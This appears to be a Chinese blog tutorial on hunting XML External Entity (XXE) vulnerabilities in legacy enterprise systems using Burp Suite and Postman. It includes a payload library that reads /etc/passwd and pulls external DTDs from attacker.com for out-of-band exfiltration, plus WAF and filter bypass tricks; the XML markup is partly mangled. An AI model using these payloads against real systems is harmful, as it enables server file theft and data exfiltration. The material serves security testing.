别再只盯着JSON了!用Burp Suite和Postman挖那些老系统里的XML宝藏(XXE实战)

张开发
2026/5/17 17:08:08 15 分钟阅读
别再只盯着JSON了!用Burp Suite和Postman挖那些老系统里的XML宝藏(XXE实战)
挖掘老旧系统中的XML安全漏洞Burp Suite与Postman实战指南在数字化转型浪潮中许多企业仍运行着基于XML的老旧系统。这些古董应用往往隐藏着被忽视的安全隐患尤其是XML外部实体(XXE)漏洞。本文将带您深入探索如何利用Burp Suite和Postman这类常用工具在ERP、OA等传统系统中发现并验证XXE漏洞。1. 识别XML系统的蛛丝马迹老旧系统中的XML使用往往不像现代API那样显而易见。我们需要像侦探一样从细微处寻找线索。请求特征分析观察HTTP头中的Content-Type字段常见值包括application/soapxmltext/xmlapplication/xml业务场景线索企业资源规划(ERP)系统中的数据导入导出功能客户关系管理(CRM)的报表生成接口工作流系统的模板上传功能老版本Web服务的SOAP接口提示在Burp Suite的Proxy历史记录中使用Filter功能搜索包含和符号的请求这能快速定位潜在的XML流量。Burp Suite实战技巧开启Proxy拦截模式在Target→Site map中右键点击目标域名选择Find in requests并搜索Content-Type: *xml对发现的请求右键选择Send to Repeater进行深入测试2. 定位非常规XML注入点教科书上的XXE案例往往过于理想化真实环境中的注入点可能隐藏在意想不到的地方。非常规注入点案例系统配置备份接口许多老系统使用XML格式保存配置备份日志查询功能某些系统用XML结构描述查询条件数据同步接口系统间的数据同步常采用XML格式审批流程定义工作流系统的流程定义文件Postman Collection实战POST /api/importConfig HTTP/1.1 Host: legacy-system.example.com Content-Type: application/xml Authorization: Bearer xxxx ?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] config importxxe;/import /configBurp Suite Repeater技巧使用%00终止符绕过某些XML解析器的限制尝试不同编码方式(如UTF-16)绕过WAF检测在XML声明中添加无关属性混淆防御机制?xml version1.0 encodingUTF-16 standaloneno?3. 构建半自动化测试流程高效测试老旧系统需要结合自动化工具和人工智慧。Burp Suite工作流使用Scanner进行初步探测对疑似漏洞手动验证保存有效Payload到Notes功能使用Save item功能建立测试案例库Postman测试集设计创建专门针对XXE测试的Collection预设常见Payload模板使用环境变量动态替换关键参数设置测试脚本自动验证响应实用Payload库!-- 基础探测Payload -- !DOCTYPE test [ !ENTITY test XXE-TEST ] roottest;/root !-- 文件读取Payload -- !DOCTYPE test [ !ENTITY file SYSTEM file:///etc/passwd ] datafile;/data !-- 盲注探测Payload -- !DOCTYPE test [ !ENTITY % dtd SYSTEM http://attacker.com/xxe.dtd %dtd; ]4. 绕过老旧系统的特殊限制这些古董系统往往有独特的防御机制和解析行为需要特殊技巧应对。常见限制及绕过方法限制类型典型表现绕过技巧内容检查返回Invalid XML使用CDATA包裹恶意内容实体过滤拦截DOCTYPE声明使用参数实体嵌套编码检测拒绝非UTF-8请求尝试UTF-7编码大小限制截断长Payload使用短实体名和最小化结构实战案例ERP系统绕过发现系统过滤了SYSTEM关键字改用参数实体绕过?xml version1.0? !DOCTYPE data [ !ENTITY % remote SYSTEM http://attacker.com/evil.dtd %remote; ] dataexfil;/data配合外部DTD文件实现数据外带盲注检测技巧使用DNS查询确认漏洞存在!DOCTYPE test [ !ENTITY xxe SYSTEM http://attacker-subdomain.example.com ]在Burp Collaborator中观察DNS查询记录通过响应时间差异判断服务器端文件读取5. 实战中的注意事项与技巧在测试这些老旧系统时需要格外小心以避免服务中断或数据损坏。关键注意事项避免DoS攻击老旧系统可能无法处理复杂实体扩展谨慎文件读取某些系统关键文件被读取可能导致崩溃记录所有操作这些系统往往缺乏完善的日志需要自行记录测试过程考虑编码问题老系统可能使用特殊字符集(如GB2312)实用小技巧在Burp Suite中设置Match and Replace规则自动添加XXE探测Payload使用Postman的Pre-request Script自动生成动态XML内容建立Payload变异库包含各种编码和格式变体对响应内容设置高亮规则快速识别成功利用在一次企业内网测试中我们发现一个老旧的文档管理系统会解析上传文件的XML元数据。通过构造特殊的XMP元数据我们成功实现了服务器文件读取。这个注入点完全不在常规的测试范围内却成为了整个测试中最严重的发现。

更多文章